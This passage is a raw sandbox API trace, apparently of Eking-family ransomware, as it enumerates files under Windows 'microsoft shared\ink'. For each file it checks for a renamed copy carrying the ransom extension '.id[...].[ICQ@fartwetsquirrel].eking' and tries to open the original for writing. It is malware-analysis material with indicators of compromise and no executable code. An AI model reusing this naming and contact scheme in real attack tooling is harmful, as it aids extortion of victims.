shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.465] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3584) returned 1 [0286.465] CloseHandle (hObject=0x2fc) returned 1 [0286.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0286.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0286.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.466] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0286.466] CloseHandle (hObject=0x2fc) returned 1 [0286.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0286.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0286.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.709] SetEvent (hEvent=0x2a0) returned 1 [0286.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0286.711] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=215) returned 1 [0286.711] CloseHandle (hObject=0x2e0) returned 1 [0286.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0286.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0286.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.712] SetEvent (hEvent=0x2a0) returned 1 [0286.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.713] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1069) returned 1 [0286.713] CloseHandle (hObject=0x2fc) returned 1 [0286.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0286.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0286.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.715] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=213) returned 1 [0286.715] CloseHandle (hObject=0x2fc) returned 1 [0286.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0286.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0286.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.716] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1853) returned 1 [0286.716] CloseHandle (hObject=0x2fc) returned 1 [0286.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0286.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0286.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.717] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=219) returned 1 [0286.718] CloseHandle (hObject=0x2fc) returned 1 [0286.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0286.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0286.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.719] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=924) returned 1 [0286.719] CloseHandle (hObject=0x2fc) returned 1 [0286.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0286.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0286.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.720] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=215) returned 1 [0286.720] CloseHandle (hObject=0x2fc) returned 1 [0286.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0286.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0286.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.722] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=694) returned 1 [0286.722] CloseHandle (hObject=0x2fc) returned 1 [0286.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0286.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0286.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.723] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=805) returned 1 [0286.723] CloseHandle (hObject=0x2fc) returned 1 [0286.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0286.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0286.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.724] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3823) returned 1 [0286.724] CloseHandle (hObject=0x2fc) returned 1 [0286.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0286.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0286.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.726] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=591) returned 1 [0286.726] CloseHandle (hObject=0x2fc) returned 1 [0286.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0286.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0286.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.727] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=9728) returned 1 [0286.727] CloseHandle (hObject=0x2fc) returned 1 [0286.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0286.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0286.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.728] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0286.728] CloseHandle (hObject=0x2fc) returned 1 [0286.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0286.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0286.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 